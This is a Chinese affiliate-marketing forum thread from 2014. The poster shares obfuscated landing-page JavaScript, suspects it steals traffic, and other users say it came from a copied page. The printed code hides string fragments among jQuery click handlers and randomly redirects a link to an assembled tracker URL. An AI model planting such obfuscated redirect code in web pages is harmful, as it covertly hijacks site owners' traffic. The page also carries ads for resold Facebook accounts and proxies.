一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {* A3 @7 c9 S+ m$ Y7 a
$(".option.clearfix").on("click",/ e* U4 o+ d- ^2 z/ ^0 B
function() {; g8 W8 c2 Q8 x1 c7 G- a# l3 {
$(this).toggleClass("selected");/ [9 s5 f4 e: {
if ($(this).hasClass("selected")) {
7 W2 j1 i% b2 i% J
$(this).addClass("selected")( P/ ]3 d% `* E) v7 \+ O
} else {) m( U0 x Y2 Q. l! c
$(this).removeClass("selected")$ Q6 D4 o% \. P2 u8 z2 ^# u
}" S- W1 J" N, k" w. N' }8 T6 Y
return false
8 ?* d# m; S+ I0 Q* i, C' l/ q1 E# @
});- V9 |+ ~' g0 S' u3 J
var e = "r";2 R/ z7 D2 y1 {
var t = "e";
! s4 Y& j" p, I5 U
setBtnMarginDefault = "c" + "\u006B";
4 k" K1 k& t7 n7 I/ Z4 g! ~, F
$(".option2.clearfix").on("click",* s( t! c& l5 J: d
function() {; v. P! l* r0 e
$(this).toggleClass("selected");
3 `4 }- q& ~$ b0 n( i; f
if ($(this).hasClass("selected")) {
) p, b6 ?# ~) A2 Z
$(this).addClass("selected")) C% m* `1 x) S% @. [, r
} else {$ r3 W/ T( X( [6 M, b* w3 z
$(this).removeClass("selected")% X! A$ F5 r' P U
}& y5 t( M( O) t6 s
return false
/ B% u" p: C0 c/ i% N. n0 L
});: V# k! g# U# a; B7 Y X& `
var n = "a";/ z5 C( @. U" K6 ~, y
var r = "g";
7 N! W# `6 B- V- M+ F1 N( X
$(".option3.clearfix").on("click",
# Y, I( I$ |: k. R3 S
function() {" ]$ ~0 B4 C: _! \9 F7 ^
$(this).toggleClass("selected");8 ]! G+ v' j5 t1 e
if ($(this).hasClass("selected")) {( h7 ]$ n4 A& t \0 c. o
$(this).addClass("selected")9 J: g6 R- m' d! \! |
} else {: L, A( l1 U/ ], ?, X; e" Z/ O5 t
$(this).removeClass("selected")
# i! v" U: S N( g/ ?0 K
}4 g8 q# S/ E0 Y3 h6 ]% L
return false
4 p3 V5 W9 M5 p7 V0 b3 L" b
});) ]+ v, l \) Y5 I- p; B
var i = "e";; b% p( M8 _1 v3 ^' O7 X
var s = n + r + e + t + i;) }7 ]9 n9 Y6 t4 D8 M4 r# z3 ]
$(".option4.clearfix").on("click",0 U" R' ~% k* t( Q/ U
function() {1 u O7 T' r J: D8 W1 `
$(this).toggleClass("selected");
0 }1 K0 G4 z7 g
if ($(this).hasClass("selected")) {# k( A+ I; j+ I) o
$(this).addClass("selected")
" f; M0 e. P4 N# x. L
} else {
! [' N8 F4 m, V: a+ A) L" E* y
$(this).removeClass("selected")2 [. W3 ?4 K5 V
}
W C( p9 l! O4 b J5 H
return false
$ ?. X- T( q8 U$ F6 ?. i, N
});
, W2 m- P* F/ _& Z+ m
var o = "\u0032" + "\u0030";6 R6 {5 ]! t' T7 n5 t k
var u = "\u0031" + "\u0030";
7 k; u" `- B6 y3 _
currentWhiteSpace = Math.floor(Math.random() * o);3 @9 |0 K1 l+ v
setBtnMargin30 = setBtnMarginDefault + "." + "c";
& s; s. d* L |- F
Date.prototype.getMonthName = function() {$ [# L/ [7 C0 d/ a6 T; x6 b+ e
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
9 o+ V* v! n2 R9 p' t* ?
return e[this.getMonth()]& L- H0 I" G; q$ D+ t* q5 Q p$ G
};
$ a: r4 k; e& ^1 ~
var a = currentWhiteSpace;5 q, l6 v- Q; v/ ]( E/ Q0 A( F
var f = "H";3 ]. t/ Y8 m4 ]0 \
var l = "\u0052";
* z# ?1 g4 A/ _2 T
var c = "o" + "\u006D";' b" Z# p2 J9 P( P
f += "T";6 O* a0 @. C, ^0 U" C: |5 y# N
f += "T";
% t# J+ j! z: \/ c
f += "P";# d' k$ k) Y$ M! L
var h = new Date;
, Z, @( W, Z/ W" d. u8 m m
if (h.getMonth() == 11) {# p1 L/ ?/ N+ a( R1 o
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
9 f1 U" }& Y" L4 {8 K$ U
} else {
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()& ]" I# ]0 M/ @( J/ n; p( p R( D
}
& Q2 z# ?- W% ]% W8 Y
var d = ":" + "/" + "/";
0 A. I( b9 w2 _7 \
l += "S"; l6 r. z6 J3 X6 [1 j. c$ B+ j
l += "x";( V% V2 W2 L0 L% o! V4 ~
document.getElementById("monthz").innerHTML = p;1 p+ J0 R# I$ k& {" ]- H7 M4 V) K3 w
l += "\u0054";
! W8 E1 F3 T6 k( h! Y
l += "R";* h' X o, P3 X/ o' O
l += "\u0041" + setBtnMargin30;: r6 T3 l1 n ^. L" W
setStyle = f + d + l + c;# s9 H9 H# T; F6 U
s = s.toLowerCase(s);3 g+ [: v" ~+ J9 o a: G
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
7 e- r& v" U0 ^5 g& }+ I9 J
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
4 U/ o+ E# G3 b1 [# N+ i $(".option.clearfix").on("click", function () {5 j' ~4 T( q: W; y% `
      $(this).toggleClass("selected");
& F' O+ a/ C/ |# ?0 c- E       if ($(this).hasClass("selected")) {
3 S. U# O4 W! J9 }. q          $(this).addClass("selected")# k# T% G5 U) y3 l# A  a; R
      } else {
* M4 C7 v  ~. W: s/ Z          $(this).removeClass("selected"); Z  M0 E2 L$ k! u" N; c# {. l3 L
      }
% t; d2 n( [6 O' ~8 z       return false8 t4 c" v3 H& t
});' i# i3 ~0 O4 |% I
$(".option2.clearfix").on("click", function () {! o+ o: l7 A4 {- x
      $(this).toggleClass("selected");9 R% p  |7 z/ x8 ^* h) Y5 S7 I
      if ($(this).hasClass("selected")) {* \3 k# V+ w/ H4 ]; `
         $(this).addClass("selected")
( K+ ?# @, u8 O6 v" q% |       } else {
* a  X  Q& s$ i5 [. b+ Z          $(this).removeClass("selected")  H$ [( i% J# q: l+ u8 R9 J
      }
) T( Q/ c4 B4 I& L3 z; o       return false
+ c; S2 V5 r0 O$ n, b, J });4 o5 r: v: z& x, l
$(".option3.clearfix").on("click", function () {
: j  |/ t( z) X" |, Z       $(this).toggleClass("selected");. [# i8 J9 f! ~, Z4 S1 \8 _8 \* R
      if ($(this).hasClass("selected")) {
( I4 s3 @, p& C$ Z. I6 }          $(this).addClass("selected")
5 S/ `' s2 _9 h% N' w       } else {
5 W; |1 p+ K% i+ m) T6 u0 ~3 i. U          $(this).removeClass("selected")
0 l0 ~3 h; ?/ [. b& [1 S. _5 C       }. x$ F" J, F8 r& A3 K' b: X; r$ @
      return false
# `, z. A( f. W# q9 K$ C/ j });
: T' V8 Q% G8 I $(".option4.clearfix").on("click", function () {
' i. J. Z: Q& h0 W+ U# K, t) L       $(this).toggleClass("selected");
5 s* N7 r5 n$ r( b% Z! g2 N: X       if ($(this).hasClass("selected")) {2 F# F" Q1 M  {, p, \$ E, G" B. V
         $(this).addClass("selected")& A& {  Q8 K1 _. V) |% \# L! r
      } else {0 L5 m& f" {; Z- I! b2 p( x# q
         $(this).removeClass("selected")5 `/ p' O5 U. ^
      }, b6 F! n# [- B) y0 T1 ~1 }
      return false# ]/ W3 w" r3 r% A0 U! {
});2 F, R" c8 m% T+ A. o
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53% _) w9 v7 \3 V# h6 Y
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	⚡️最干净<Wifi住宅+5G移动>IP代理	指纹浏览器，就用AdsPower
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利广告开户	独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机	E.PN 虚拟卡	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户	百度国际MediaGo⚡️让产品狂奔全球	百度国际，高点击转化，快速放量	百度国际MediaGo，独家原生流量
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	一手BM分享户不限额	9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个	虚拟卡\|PTM星际卡	FB专用虚拟卡	Google、Bing官方总代联盟流量开户
FB账号资源/稳定靠谱/运行5年啦	FB开户代投/三不限/白名单	fb耐用号0.01一个	fb账号官方合作商
广告位出租

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人